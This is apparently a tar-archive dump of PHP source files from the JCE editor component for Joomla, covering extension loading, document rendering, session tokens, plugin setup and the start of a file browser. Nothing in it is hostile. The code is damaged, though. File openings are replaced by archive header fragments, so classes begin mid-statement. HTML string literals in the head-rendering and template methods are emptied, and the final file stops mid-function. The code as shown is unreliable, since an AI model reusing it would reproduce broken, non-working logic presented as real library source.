      * * @access public * @return JCE The editor object. * @since 1.5 */ public static function getInstance($config = array()) { if (!isset(self::$instance)) { self::$instance = new WFPopupsExtension($config); } return self::$instance; } public function display() { parent::display(); $document = WFDocument::getInstance(); // Load javascript $document->addScript(array( 'popups' ), 'libraries.extensions'); // get all popups extensions $popups = parent::loadExtensions('popups'); $config = $this->getProperties(); if ($config) { // Create global config $document->addScriptDeclaration('WFExtensions.Popups.setConfig(' . json_encode($config) . ');'); } // Create an instance of each popup and check if enabled foreach ($popups as $name) { $popup = $this->getPopupExtension($name); if ($popup->isEnabled()) { $this->addPopup($name); $params = $popup->getParams(); if (!empty($params)) { $document->addScriptDeclaration('WFExtensions.Popups.setParams("' . $name . '",' . json_encode($params) . ');'); } } } $tabs = WFTabs::getInstance(); // Add popup tab and assign popups reference to document if (count($this->getPopups())) { $tabs->addTab('popups', 1); $tabs->getPanel('popups')->assign('popups', $this); } } private function getPopups() { return $this->_popups; } public function addPopup($popup) { $this->_popups[] = $popup; } private function getTemplates() { return $this->_templates; } public function addTemplate($template) { $this->_templates[] = $template; } private function getPopupExtension($name) { static $popups; if (!isset($popups)) { $popups = array(); } if (empty($popups[$name])) { $classname = 'WFPopupsExtension_' . ucfirst($name); $popups[$name] = new $classname(); } return $popups[$name]; } public function getPopupList() { $options = array(); $options[] = JHTML::_('select.option', '', '-- ' . WFText::_('WF_POPUP_TYPE_SELECT') . ' --'); foreach ($this->getPopups() as $popup) { $options[] = JHTML::_('select.option', $popup, WFText::_('WF_POPUPS_' . strtoupper($popup) . '_TITLE')); } return JHTML::_('select.genericlist', $options, 'popup_list', 'class="inputbox levels" size="1"', 'value', 'text', $this->get('default')); } public function getPopupTemplates() { $output = ''; $path = WF_EDITOR_EXTENSIONS . '/popups'; $file = 'default.php'; foreach ($this->getTemplates() as $template) { $wf = WFEditorPlugin::getInstance(); $view = $wf->getView(); $output .= $view->loadTemplate($template); } foreach ($this->getPopups() as $popup) { $view = new WFView(array( 'name' => $popup, 'base_path' => WF_EDITOR_EXTENSIONS . '/popups/' . $popup, 'template_path' => WF_EDITOR_EXTENSIONS . '/popups/' . $popup . '/tmpl' )); $instance = $this->getPopupExtension($popup); $view->assign('popup', $instance); if (file_exists($path . '/' . $popup . '/tmpl/' . $file)) { ob_start(); $output .= ''; ob_end_clean(); } } return $output; } }com_jce/editor/libraries/classes/extensions/link.php000066600000017556150771500630016735 0ustar00extensions[] = $this->getLinkExtension($link); } $request = WFRequest::getInstance(); $request->setRequest(array($this, 'getLinks')); } public static function getInstance($config = array()) { if (!isset(self::$instance)) { self::$instance = new WFLinkExtension($config); } return self::$instance; } public function display() { parent::display(); $document = WFDocument::getInstance(); $document->addScript(array('tree', 'link'), 'libraries'); $document->addStyleSheet(array('tree'), 'libraries'); foreach ($this->extensions as $extension) { $extension->display(); } } private function getLinkExtension($name) { if (array_key_exists($name, self::$links) === false || empty(self::$links[$name])) { $classname = 'WFLinkBrowser_' . ucfirst($name); // create class if (class_exists($classname)) { self::$links[$name] = new $classname(); } } return self::$links[$name]; } public function render() { $list = array(); foreach ($this->extensions as $extension) { if ($extension->isEnabled()) { $list[] = $extension->getList(); } } if (count($list)) { $view = $this->getView(array('name' => 'links', 'layout' => 'links')); $view->assign('list', implode("\n", $list)); $view->display(); } } private static function cleanInput($args, $method = 'string') { $filter = JFilterInput::getInstance(); foreach ($args as $k => $v) { $args->$k = $filter->clean($v, $method); } return $args; } public function getLinks($args) { $args = self::cleanInput($args, 'cmd'); foreach ($this->extensions as $extension) { if (in_array($args->option, $extension->getOption())) { $items = $extension->getLinks($args); } } $array = array(); $result = array(); if (isset($items)) { foreach ($items as $item) { $array[] = array( 'id' => isset($item['id']) ? self::xmlEncode($item['id']) : '', 'url' => isset($item['url']) ? self::xmlEncode($item['url']) : '', 'name' => self::xmlEncode($item['name']), 'class' => $item['class'] ); } $result = array('folders' => $array); } return $result; } /** * Category function used by many extensions * * @access public * @return Category list object. * @since 1.5 */ public function getCategory($section, $parent = 1) { $db = JFactory::getDBO(); $user = JFactory::getUser(); $wf = WFEditorPlugin::getInstance(); $query = $db->getQuery(true); $where = array(); $version = new JVersion(); $language = $version->isCompatible('3.0') ? ', language' : ''; if (method_exists('JUser', 'getAuthorisedViewLevels')) { $where[] = 'parent_id = ' . (int) $parent; $where[] = 'extension = ' . $db->Quote($section); $where[] = 'access IN (' . implode(',', $user->getAuthorisedViewLevels()) . ')'; if (!$wf->checkAccess('static', 1)) { $where[] = 'path != ' . $db->Quote('uncategorised'); } } else { $where[] = 'section = ' . $db->Quote($section); $where[] = 'access <= ' . (int) $user->get('aid'); } if ($wf->getParam('category_alias', 1) == 1) { if (is_object($query)) { //sqlsrv changes $case = ', CASE WHEN '; $case .= $query->charLength('alias', '!=', '0'); $case .= ' THEN '; $a_id = $query->castAsChar('id'); $case .= $query->concatenate(array($a_id, 'alias'), ':'); $case .= ' ELSE '; $case .= $a_id . ' END as slug'; } else { $case .= ', CASE WHEN CHAR_LENGTH(alias) THEN CONCAT_WS(":", id, alias) ELSE id END as slug'; } } if (is_object($query)) { $where[] = 'published = 1'; $query->select('id AS slug, id AS id, title, alias, access' . $language . $case)->from('#__categories')->where($where)->order('title'); } else { $query = 'SELECT id AS slug, id AS id, title, alias, access' . $case; $query .= ' FROM #__categories'; $query .= ' WHERE ' . implode(' AND ', $where); $query .= ' ORDER BY title'; } $db->setQuery($query); return $db->loadObjectList(); } /** * (Attempt to) Get an Itemid * * @access public * @param string $component * @param array $needles * @return Category list object. */ public function getItemId($component, $needles = array()) { $match = null; //require_once(JPATH_SITE . '/includes/application.php'); $app = JApplication::getInstance('site'); $tag = defined('JPATH_PLATFORM') ? 'component_id' : 'componentid'; $component = JComponentHelper::getComponent($component); $menu = $app->getMenu('site'); $items = $menu->getItems($tag, $component->id); if ($items) { foreach ($needles as $needle => $id) { foreach ($items as $item) { if ((@$item->query['view'] == $needle) && (@$item->query['id'] == $id)) { $match = $item->id; break; } } if (isset($match)) { break; } } } return $match ? '&Itemid=' . $match : ''; } /** * Translates an internal Joomla URL to a humanly readible URL. * * @param string $url Absolute or Relative URI to Joomla resource. * * @return The translated humanly readible URL. */ public static function route($url) { $app = JApplication::getInstance('site'); $router = $app->getRouter('site'); if (!$router) { return $url; } $uri = $router->build($url); $url = $uri->toString(); $url = str_replace('/administrator/', '/', $url); return $url; } /** * XML encode a string. * * @access public * @param string String to encode * @return string Encoded string */ private static function xmlEncode($string) { return str_replace(array('&', '<', '>', "'", '"'), array('&', '<', '>', ''', '"'), $string); } } abstract class WFLinkBrowser extends WFLinkExtension { } com_jce/editor/libraries/classes/extensions.php000066600000014145150771500630015767 0ustar00setProperties($config); } /** * Returns a reference to a WFExtension object * * This method must be invoked as: *
        $extension = WFExtension::getInstance();
      * * @access public * @return object WFExtension */ /* public static function getInstance() { static $instance; if (!is_object($instance)) { $instance = new WFExtension(); } return $instance; } */ /** * Display the extension * @access $public */ public function display() { $document = WFDocument::getInstance(); // Load Extensions Object $document->addScript(array( 'extensions' )); } /** * Load a plugin extension * * @access public * @return array */ private static function _load($types = array(), $extension = null, $config = array()) { jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $extensions = array(); if (!isset($config['base_path'])) { $config['base_path'] = WF_EDITOR; } // core extensions path $path = $config['base_path'] . '/extensions'; // cast as array $types = (array) $types; // get all types from core if (empty($types)) { $types = JFolder::folders(WF_EDITOR . '/extensions'); } if (JFolder::exists($path)) { foreach ($types as $type) { if ($extension) { $path = $path . '/' . $type; if (JFile::exists($path . '/' . $extension . '.xml') && JFile::exists($path . '/' . $extension . '.php')) { $object = new stdClass(); $object->folder = $type; $object->path = $path; $object->extension = $extension; $extensions[] = $object; } } else { $files = JFolder::files($path . '/' . $type, '\.xml$', false, true); foreach ($files as $file) { $name = basename($file, '.xml'); $path = dirname($file); if (!JFile::exists($path . '/' . $name . '.php')) { continue; } $object = new stdClass(); $object->folder = $type; $object->path = $path; $object->extension = $name; $extensions[] = $object; } } } } return $extensions; } /** * Load & Call an extension * * @access public * @param array $config * @return mixed */ public static function loadExtensions($type, $extension = null, $config = array()) { jimport('joomla.filesystem.folder'); jimport('joomla.filesystem.file'); $language = JFactory::getLanguage(); if (!isset($config['base_path'])) { $config['base_path'] = WF_EDITOR; } // sanitize $type $type = preg_replace('#[^A-Z0-9\._-]#i', '', $type); // sanitize $extension if ($extension) { $extension = preg_replace('#[^A-Z0-9\._-]#i', '', $extension); } // Create extensions path $base = $config['base_path'] . '/extensions'; // Get all extensions $extensions = self::_load((array) $type, $extension, $config); $result = array(); if (!empty($extensions)) { foreach ($extensions as $item) { $name = isset($item->extension) ? $item->extension : ''; $folder = $item->folder; $path = $item->path; if ($name) { $root = $path . '/' . $name . '.php'; if (file_exists($root)) { // Load root extension file require_once($root); // Load Extension language file $language->load('com_jce_' . $type . '_' . $name, JPATH_SITE); // Return array of extension names $result[$type][] = $name; // if we only want a named extension if ($extension && $extension == $name) { return $name; } } } } } // only return extension types requested if ($type && array_key_exists($type, $result)) { return $result[$type]; } // Return array or extension name return $result; } /** * Return a parameter for the current plugin / group * @param object $param Parameter name * @param object $default Default value * @return string Parameter value */ public function getParam($param, $default = '') { $wf = WFEditor::getInstance(); return $wf->getParam($param, $default); } public function getView($options = array()) { return new WFView($options); } } ?>com_jce/editor/libraries/classes/document.php000066600000046624150771500630015415 0ustar00setTitle($config['title']); } $this->setProperties($config); } /** * Returns a reference to a WFDocument object * * This method must be invoked as: *
        $document = WFDocument::getInstance();
      * * @access public * @return object WFDocument */ public static function getInstance($config = array()) { static $instance; if (!is_object($instance)) { $instance = new WFDocument($config); } return $instance; } /** * Set the document title * @access public * @param string $title */ public function setTitle($title) { $this->title = $title; } /** * Get the document title * @access public * @return string */ public function getTitle() { return $this->title; } /** * Set the document name * @access public * @param string $name */ public function setName($name) { $this->name = $name; } /** * Get the document name * @access public * @return string */ public function getName() { return $this->name; } /** * Get the editor URL * @access private * @param bool $relative * @return string */ private function getURL($relative = false) { if ($relative) { return JURI::root(true) . '/components/com_jce/editor'; } return JURI::root() . 'components/com_jce/editor'; } /** * Sets the global document language declaration. Default is English (en-gb). * @access public * @param string $lang */ public function setLanguage($lang = "en-gb") { $this->language = strtolower($lang); } /** * Returns the document language. * * @return string * @access public */ public function getLanguage() { return $this->language; } /** * Sets the global document direction declaration. Default is left-to-right (ltr). * * @access public * @param string $lang */ public function setDirection($dir = "ltr") { $this->direction = strtolower($dir); } /** * Returns the document language. * * @return string * @access public */ public function getDirection() { return $this->direction; } /** * Returns a JCE resource url * * @access private * @param string The path to resolve eg: libaries * @param boolean Create a relative url * @return full url */ private function getBaseURL($path, $type = '') { static $url; if (!isset($url)) { $url = array(); } $signature = serialize(array($type, $path)); // Check if value is already stored if (!isset($url[$signature])) { // get the plugin name using this document instance $plugin = $this->get('name'); $base = $this->getURL(true) . '/'; $parts = explode('.', $path); $path = array_shift($parts); switch ($path) { // JCE root folder case 'jce': $pre = $base . ''; break; // JCE libraries resource folder default: case 'libraries': $pre = $base . 'libraries/' . $type; break; case 'jquery': $pre = $base . 'libraries/jquery/' . $type; break; case 'mediaelement': $pre = $base . 'libraries/mediaelement/' . $type; break; case 'bootstrap': $pre = $base . 'libraries/bootstrap/' . $type; break; // TinyMCE folder case 'tiny_mce': $pre = $base . 'tiny_mce'; break; // JCE current plugin folder case 'plugins': $pre = $base . 'tiny_mce/plugins/' . $plugin . '/' . $type; break; // Extensions folder case 'extensions': $pre = $base . 'extensions'; break; case 'joomla': return JURI::root(true); break; case 'media': return JURI::root(true) . '/media/system'; break; case 'component': $pre = JURI::root(true) . '/administrator/components/com_jce/media/' . $type; break; default: $pre = $base . $path; break; } if (count($parts)) { $pre = rtrim($pre, '/') . '/' . implode('/', $parts); } // Store url $url[$signature] = $pre; } return $url[$signature]; } /** * Convert a url to path * * @param string $url * @return string */ private function urlToPath($url) { jimport('joomla.filesystem.path'); $root = JURI::root(true); // remove root from url if (!empty($root)) { $url = substr($url, strlen($root)); } return WFUtility::makePath(JPATH_SITE, JPath::clean($url)); } /** * Returns an image url * * @access public * @param string The file to load including path and extension eg: libaries.image.gif * @return Image url * @since 1.5 */ public function image($image, $root = 'libraries') { $parts = explode('.', $image); $parts = preg_replace('#[^A-Z0-9-_]#i', '', $parts); $ext = array_pop($parts); $name = trim(array_pop($parts), '/'); $parts[] = 'img'; $parts[] = $name . "." . $ext; return $this->getBaseURL($root) . implode('/', $parts); } public function removeScript($file, $root = 'libraries') { $file = $this->buildScriptPath($file, $root); unset($this->_scripts[$file]); } public function removeCss($file, $root = 'libraries') { $file = $this->buildStylePath($file, $root); unset($this->_styles[$file]); } public function buildScriptPath($file, $root) { $file = preg_replace('#[^A-Z0-9-_\/\.]#i', '', $file); // get base dir $base = dirname($file); // remove extension if present $file = basename($file, '.js'); // strip . and trailing / $file = trim(trim($base, '.'), '/') . '/' . $file . '.js'; // remove leading and trailing slashes $file = trim($file, '/'); // create path $file = $this->getBaseURL($root, 'js') . '/' . $file; return $file; } public function buildStylePath($file, $root) { $file = preg_replace('#[^A-Z0-9-_\/\.]#i', '', $file); // get base dir $base = dirname($file); // remove extension if present $file = basename($file, '.css'); // strip . and trailing / $file = trim(trim($base, '.'), '/') . '/' . $file . '.css'; // remove leading and trailing slashes $file = trim($file, '/'); // create path $file = $this->getBaseURL($root, 'css') . '/' . $file; return $file; } /** * Loads a javascript file * * @access public * @param string The file to load including path eg: libaries.manager * @param boolean Debug mode load src file * @return echo script html * @since 1.5 */ public function addScript($files, $root = 'libraries', $type = 'text/javascript') { $files = (array) $files; foreach ($files as $file) { // external link if (strpos($file, '://') !== false || strpos($file, 'index.php?option=com_jce') !== false) { $this->_scripts[$file] = $type; } else { $file = $this->buildScriptPath($file, $root); // store path $this->_scripts[$file] = $type; } } } /** * Loads a css file * * @access public * @param string The file to load including path eg: libaries.manager * @param string Root folder * @return echo css html * @since 1.5 */ public function addStyleSheet($files, $root = 'libraries', $type = 'text/css') { $files = (array) $files; jimport('joomla.environment.browser'); $browser = JBrowser::getInstance(); foreach ($files as $file) { $url = $this->buildStylePath($file, $root); // store path $this->_styles[$url] = $type; if ($browser->getBrowser() == 'msie') { // All versions $file = $file . '_ie.css'; $path = $this->urlToPath($url); if (file_exists(dirname($path) . '/' . $file)) { $this->_styles[dirname($url) . '/' . $file] = $type; } } } } public function addScriptDeclaration($content, $type = 'text/javascript') { if (!isset($this->_script[strtolower($type)])) { $this->_script[strtolower($type)] = $content; } else { $this->_script[strtolower($type)] .= chr(13) . $content; } } private function getScriptDeclarations() { return $this->_script; } private function getScripts() { return $this->_scripts; } private function getStyleSheets() { return $this->_styles; } /** * Setup head data */ private function setHead($data) { if (is_array($data)) { $this->_head = array_merge($this->_head, $data); } else { $this->_head[] = $data; } } public function getQueryString($query = array()) { // get version //$version = $this->get('version', '000000'); // get layout $layout = JRequest::getWord('layout'); // set layout and item, eg: &layout=plugin&plugin=link $query['layout'] = $layout; $query[$layout] = JRequest::getWord($layout); // set dialog if (JRequest::getWord('dialog')) { $query['dialog'] = JRequest::getWord('dialog'); } // set standalone mode (for File Browser etc) if ($this->get('standalone') == 1) { $query['standalone'] = 1; } // get component id $component_id = JRequest::getInt('component_id'); // set component id if ($component_id) { $query['component_id'] = $component_id; } // get token $token = WFToken::getToken(); // set token $query[$token] = 1; /*if (preg_match('/\d+/', $version)) { // set version $query['v'] = preg_replace('#[^a-z0-9]#i', '', $version); }*/ $output = array(); foreach ($query as $key => $value) { $output[] = $key . '=' . $value; } return implode('&', $output); } private function getHash($files) { $seed = ''; $hash = ''; // create version / etag hash $version = $this->get('version', '000000'); // cast as array $files = (array) $files; foreach($files as $file) { // only add stamp to static stylesheets if (strpos($file, '://') === false && strpos($file, 'index.php?option=com_jce') === false) { $seed .= basename($file); } } if ($seed) { $hash = md5($version . $seed); } return $hash; } /** * Render document head data */ private function getHead() { // create version / etag hash $version = $this->get('version', '000000'); // set title $output = '' . $this->getTitle() . '' . "\n"; // render stylesheets if ($this->get('compress_css', 0)) { $file = JURI::base(true) . '/index.php?option=com_jce&view=editor&' . $this->getQueryString(array('task' => 'pack', 'type' => 'css')); // add hash $file .= '&' . $this->getHash(array_keys($this->_styles)); $output .= "\t\t\n"; } else { foreach ($this->_styles as $src => $type) { $hash = $this->getHash($src); // only add stamp to static stylesheets if (!empty($hash)) { $hash = strpos($src, '?') === false ? '?' . $hash : '&' . $hash; } $output .= "\t\t\n"; } } // Render scripts if ($this->get('compress_javascript', 0)) { $script = JURI::base(true) . '/index.php?option=com_jce&view=editor&' . $this->getQueryString(array('task' => 'pack')); // add hash $script .= '&' . $this->getHash(array_keys($this->_scripts)); $output .= "\t\t\n"; } else { foreach ($this->_scripts as $src => $type) { $hash = $this->getHash($src); // only add stamp to static stylesheets if (!empty($hash)) { $hash = strpos($src, '?') === false ? '?' . $hash : '&' . $hash; } $output .= "\t\t\n"; } } // Script declarations foreach ($this->_script as $type => $content) { $output .= "\t\t"; } // Other head data foreach ($this->_head as $head) { $output .= "\t" . $head . "\n"; } return $output; } public function setBody($data = '') { $this->_body = $data; } private function getBody() { return $this->_body; } private function loadData() { //get the file content ob_start(); require_once(WF_EDITOR_LIBRARIES . '/views/plugin/index.php'); $data = ob_get_contents(); ob_end_clean(); return $data; } /** * Render the document */ public function render() { // assign language $this->language = $this->getLanguage(); $this->direction = $this->getDirection(); // load template data $output = $this->loadData(); $output = $this->parseData($output); exit($output); } private function parseData($data) { $data = preg_replace_callback('##', array($this, 'getHead'), $data); $data = preg_replace_callback('##', array($this, 'getBody'), $data); return $data; } /** * pack function for plugins */ public function pack($minify = true, $gzip = false) { if (JRequest::getCmd('task') == 'pack') { // check token WFToken::checkToken('GET') or die('RESTRICTED'); wfimport('admin.classes.packer'); wfimport('admin.classes.language'); $component = WFExtensionHelper::getComponent(); $params = new WFParameter($component->params); $type = JRequest::getWord('type', 'javascript'); // create packer $packer = new WFPacker(array('type' => $type)); $files = array(); switch ($type) { case 'javascript': $data = ''; foreach ($this->getScripts() as $src => $type) { if (strpos($src, '://') === false && strpos($src, 'index.php') === false) { $src .= preg_match('/\.js$/', $src) ? '' : '.js'; $files[] = $this->urlToPath($src); } } // parse ini language files $parser = new WFLanguageParser(array( 'plugins' => array($this->getName()), 'sections' => array('dlg', $this->getName() . '_dlg'), 'mode' => 'plugin' )); $data .= $parser->load(); // add script declarations /*foreach ($this->getScriptDeclarations() as $script) { $data .= $script; }*/ $packer->setContentEnd($data); break; case 'css': foreach ($this->getStyleSheets() as $style => $type) { if (strpos($style, '://') === false && strpos($style, 'index.php') === false) { $style .= preg_match('/\.css$/', $style) ? '' : '.css'; $files[] = $this->urlToPath($style); } } break; } $packer->setFiles($files); $packer->pack($minify, $gzip); } } } ?>com_jce/editor/libraries/classes/token.php000066600000004031150771500630014701 0ustar00get('session.token', null, 'wf'); //create a token if ($token === null) { $token = self::_createToken(12); $session->set('session.token', $token, 'wf'); } if (method_exists('JApplication', 'getHash')) { return 'wf' . JApplication::getHash($user->get('id', 0) . $token); } else { return 'wf' . JUtility::getHash($user->get('id', 0) . $token); } } /** * Check the received token */ public static function checkToken($method = 'POST') { $token = self::getToken(); // check POST and GET for token return JRequest::getVar($token, JRequest::getVar($token, '', 'GET', 'alnum'), 'POST', 'alnum'); } } com_jce/editor/libraries/classes/plugin.php000066600000033406150771500630015067 0ustar00checkPlugin($plugin) or die('RESTRICTED'); // set plugin name $this->set('name', $plugin); // set config if (!array_key_exists('type', $config)) { $config['type'] = 'standard'; } if (!array_key_exists('base_path', $config)) { $config['base_path'] = WF_EDITOR_PLUGINS . '/' . $plugin; } if (!defined('WF_EDITOR_PLUGIN')) { define('WF_EDITOR_PLUGIN', $config['base_path']); } if (!array_key_exists('view_path', $config)) { $config['view_path'] = WF_EDITOR_PLUGINS . '/' . $plugin; } if (!array_key_exists('layout', $config)) { $config['layout'] = 'default'; } if (!array_key_exists('template_path', $config)) { $config['template_path'] = WF_EDITOR_PLUGIN . '/tmpl'; } // backwards compatability if (!array_key_exists('colorpicker', $config)) { $config['colorpicker'] = in_array($plugin, array('imgmanager_ext', 'caption', 'mediamanager')); } // backwards compatability if (!array_key_exists('mediaplayer', $config)) { $config['mediaplayer'] = false; } $this->setProperties($config); } /** * Returns a reference to a editor object * * This method must be invoked as: *
        $browser =JCE::getInstance();
      * * @access public * @return JCE The editor object. * @since 1.5 */ public static function getInstance($config = array()) { if (!isset(self::$instance)) { self::$instance = new WFEditorPlugin($config); } return self::$instance; } /** * Get plugin View * @access public * @return WFView */ public function getView() { static $view; if (!is_object($view)) { // create plugin view $view = new WFView(array( 'view_path' => $this->get('base_path'), 'template_path' => $this->get('template_path'), 'name' => $this->get('name'), 'layout' => $this->get('layout') )); } $view->assign('plugin', $this); return $view; } protected function getVersion() { $wf = WFEditor::getInstance(); return $wf->getVersion(); } private function isRequest() { $xmlhttprequest = isset($_SERVER['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest'; return $xmlhttprequest || JRequest::getWord('action'); } protected function getProfile($plugin = null) { $wf = WFEditor::getInstance(); return $wf->getProfile($plugin); } protected function getPluginVersion() { $manifest = WF_EDITOR_PLUGIN . '/' . $this->get('name') . '.xml'; $version = ''; if (is_file($manifest)) { $xml = WFXMLHelper::parseInstallManifest($manifest); if ($xml && isset($xml['version'])) { $version = $xml['version']; } } if ($version) { $version = preg_replace('#[^a-z0-9]+#i', '', $version); } return $version; } public function execute() { WFToken::checkToken() or die('Access to this resource is restricted'); // load core language WFLanguage::load('com_jce', JPATH_ADMINISTRATOR); // Load Plugin language WFLanguage::load('com_jce_' . trim($this->getName())); // JSON request or upload action if ($this->isRequest()) { $request = WFRequest::getInstance(); $request->process(); } else { $wf = WFEditor::getInstance(); $version = $this->getVersion(); $name = $this->getName(); // process javascript languages if (JRequest::getWord('task') == 'loadlanguages') { wfimport('admin.classes.language'); $parser = new WFLanguageParser(array( 'plugins' => array($name), 'sections' => array('dlg', $name . '_dlg', 'colorpicker'), 'mode' => 'plugin' )); $data = $parser->load(); $parser->output($data); } // set default plugin version $plugin_version = $this->getPluginVersion(); // add plugin version if ($plugin_version && $plugin_version != $version) { $version .= '-' . $plugin_version; } // create the document $document = WFDocument::getInstance(array( 'version' => $version, 'title' => WFText::_('WF_' . strtoupper($this->getName() . '_TITLE')), 'name' => $name, 'language' => WFLanguage::getTag(), 'direction' => WFLanguage::getDir(), 'compress_javascript' => $this->getParam('editor.compress_javascript', 1), 'compress_css' => $this->getParam('editor.compress_css', 1) )); // set standalone mode $document->set('standalone', JRequest::getInt('standalone', 0)); // create display $this->display(); // ini language $document->addScript(array('index.php?option=com_jce&view=editor&' . $document->getQueryString(array('task' => 'loadlanguages', 'lang' => WFLanguage::getCode()))), 'joomla'); // pack assets if required $document->pack(true, $this->getParam('editor.compress_gzip', 0)); // get the view $view = $this->getView(); // set body output $document->setBody($view->loadTemplate()); // render document $document->render(); } } /** * Display plugin * @access private */ public function display() { jimport('joomla.filesystem.folder'); $document = WFDocument::getInstance(); if ($document->get('standalone') == 0) { $document->addScript(array('tiny_mce_popup'), 'tiny_mce'); $document->addScript(array('tiny_mce_utils'), 'libraries'); } $document->addScript(array('jquery-' . WF_JQUERY . '.min', 'jquery-ui-' . WF_JQUERYUI . '.custom.min', 'jquery.ui.touch-punch.min'), 'jquery'); // add colorpicker if ($this->get('colorpicker')) { $wf = WFEditor::getInstance(); $document->addScript(array('colorpicker'), 'libraries'); } $document->addScript(array( 'html5', 'select', 'tips', 'plugin' ), 'libraries'); $document->addStyleSheet(array('plugin'), 'libraries'); // MediaElement in the future perhaps? /*if ($this->get('mediaplayer')) { $document->addScript(array('mediaelement-and-player.min'), 'mediaelement'); $document->addStyleSheet(array('mediaelementplayer.min'), 'mediaelement'); }*/ // add custom plugin.css if exists if (is_file(JPATH_SITE . '/media/jce/css/plugin.css')) { $document->addStyleSheet(array('media/jce/css/plugin.css'), 'joomla'); } } /** * Return the plugin name * @access public * @return string */ public function getName() { return $this->get('name'); } /** * Get default values for a plugin. * Key / Value pairs will be retrieved from the profile or plugin manifest * @access public * @param array $defaults * @return array */ public function getDefaults($defaults = array()) { $name = $this->getName(); // get manifest path $manifest = WF_EDITOR_PLUGIN . '/' . $name . '.xml'; // get parameter defaults if (is_file($manifest)) { $params = $this->getParams(array( 'key' => $name, 'path' => $manifest )); return array_merge($defaults, (array) $params->getAll('defaults')); } return $defaults; } /** * Check the user is in an authorized group * Check the users group is authorized to use the plugin * * @access public * @return boolean */ public function checkPlugin($plugin = null) { if ($plugin) { // check existence of plugin directory if (is_dir(WF_EDITOR_PLUGINS . '/' . $plugin)) { // get profile $profile = $this->getProfile($plugin); // check for valid object and profile id return is_object($profile) && isset($profile->id); } } return false; } /** * Add an alert array to the stack * * @access private * @param object $class Alert classname * @param object $title Alert title * @param object $text Alert text */ protected function addAlert($class = 'info', $title = '', $text = '') { $alerts = $this->getAlerts(); $alerts[] = array( 'class' => $class, 'title' => $title, 'text' => $text ); $this->set('_alerts', $alerts); } /** * Get current alerts * @access private * @return array Alerts */ private function getAlerts() { return $this->get('_alerts'); } /** * Convert a url to path * * @access public * @param string The url to convert * @return string Full path to file */ public function urlToPath($url) { $document = WFDocument::getInstance(); return $document->urlToPath($url); } /** * Returns an image url * * @access public * @param string The file to load including path and extension eg: libaries.image.gif * @return string Image url */ public function image($image, $root = 'libraries') { $document = WFDocument::getInstance(); return $document->image($image, $root); } /** * Load & Call an extension * * @access protected * @param array $config * @return array */ protected function loadExtensions($type, $extension = null, $config = array()) { return WFExtension::loadExtensions($type, $extension, $config); } /** * Compile plugin settings from defaults and alerts * * @access public * @param array $settings * @return array */ public function getSettings($settings = array()) { $default = array( 'alerts' => $this->getAlerts(), 'defaults' => $this->getDefaults() ); $settings = array_merge($default, $settings); return $settings; } public function getParams($options = array()) { $wf = WFEditor::getInstance(); return $wf->getParams($options); } /** * Get a parameter by key * * @access public * @param string $key Parameter key eg: editor.width * @param mixed $fallback Fallback value * @param mixed $default Default value * @param string $type Variable type eg: string, boolean, integer, array * @param bool $allowempty * @return mixed */ public function getParam($key, $fallback = '', $default = '', $type = 'string', $allowempty = true) { // get plugin name $name = $this->getName(); // get all keys $keys = explode('.', $key); $wf = WFEditor::getInstance(); // root key set if ($keys[0] == 'editor' || $keys[0] == $name) { return $wf->getParam($key, $fallback, $default, $type, $allowempty); // no root key set, treat as shared param } else { // get fallback $fallback = $wf->getParam('editor.' . $key, $fallback, $allowempty); // get param for plugin return $wf->getParam($name . '.' . $key, $fallback, $default, $type, $allowempty); } } /** * Named wrapper to check access to a feature * * @access public * @param string The feature to check, eg: upload * @param mixed The defalt value * @return Boolean */ public function checkAccess($option, $default = 0) { return (bool) $this->getParam($option, $default); } } ?> com_jce/editor/libraries/classes/browser.php000066600000132644150771500630015260 0ustar00 array(), 'files' => array(), 'folders' => array()); /** * @access protected */ public function __construct($config = array()) { $default = array( 'dir' => '', 'filesystem' => 'joomla', 'filetypes' => 'images=jpg,jpeg,png,gif', 'upload' => array( 'runtimes' => 'html5,flash,silverlight,html4', 'chunk_size' => null, 'max_size' => 1024, 'validate_mimetype' => 1, 'add_random' => 0 ), 'folder_tree' => 1, 'list_limit' => 'all', 'features' => array( 'upload' => 1, 'folder' => array( 'create' => 1, 'delete' => 1, 'rename' => 1, 'move' => 1 ), 'file' => array( 'rename' => 1, 'delete' => 1, 'move' => 1 ) ), 'date_format' => '%d/%m/%Y, %H:%M', 'websafe_mode' => 'utf-8', 'websafe_spaces' => 0, 'websafe_textcase' => '' ); $config = array_merge($default, $config); $this->setProperties($config); // Setup XHR callback funtions $this->setRequest(array($this, 'getItems')); $this->setRequest(array($this, 'getFileDetails')); $this->setRequest(array($this, 'getFolderDetails')); $this->setRequest(array($this, 'getTree')); $this->setRequest(array($this, 'getTreeItem')); // Get actions $this->getStdActions(); // Get buttons $this->getStdButtons(); } /** * Display the browser * @access public */ public function display() { //parent::display(); // Get the Document instance $document = WFDocument::getInstance(); $document->addScript(array( 'tree', 'upload', 'browser', 'sort', 'filter', 'manager' ), 'libraries'); $document->addScript(array( 'plupload.full', ), 'jce.libraries.plupload'); //$document->addStyleSheet(array('files', 'tree', 'upload'), 'libraries'); $document->addStyleSheet(array('manager'), 'libraries'); // custom stylesheet //$document->addStyleSheet(array('custom'), 'libraries.css'); // file browser options $document->addScriptDeclaration('WFFileBrowser.settings=' . json_encode($this->getSettings()) . ';'); } /** * Render the browser view * @access public */ public function render() { $session = JFactory::getSession(); $view = new WFView(array( 'name' => 'browser', 'layout' => 'file' )); // assign session data $view->assign('session', $session); // assign form action $view->assign('action', $this->getFormAction()); // return view output $view->display(); } /** * Set a WFRequest item * @access public * @param array $request */ public function setRequest($request) { $xhr = WFRequest::getInstance(); $xhr->setRequest($request); } /** * Upload form action url * * @access public * @param string The target action file eg: upload.php * @return Joomla! component url * @since 1.5 */ protected function getFormAction() { $wf = WFEditorPlugin::getInstance(); $component_id = JRequest::getInt('component_id'); $query = ''; $args = array( 'plugin' => $wf->getName() ); if ($component_id) { $args['component_id'] = $component_id; } foreach ($args as $k => $v) { $query .= '&' . $k . '=' . $v; } return JURI::base(true) . '/index.php?option=com_jce&view=editor&layout=plugin' . $query; } public function getFileSystem() { static $filesystem; if (!is_object($filesystem)) { $wf = WFEditorPlugin::getInstance(); $config = array( 'dir' => $this->get('dir'), 'upload_conflict' => $wf->getParam('editor.upload_conflict', 'overwrite'), 'filetypes' => $this->getFileTypes('array') ); $filesystem = WFFileSystem::getInstance($this->get('filesystem'), $config); } return $filesystem; } private function getViewable() { return 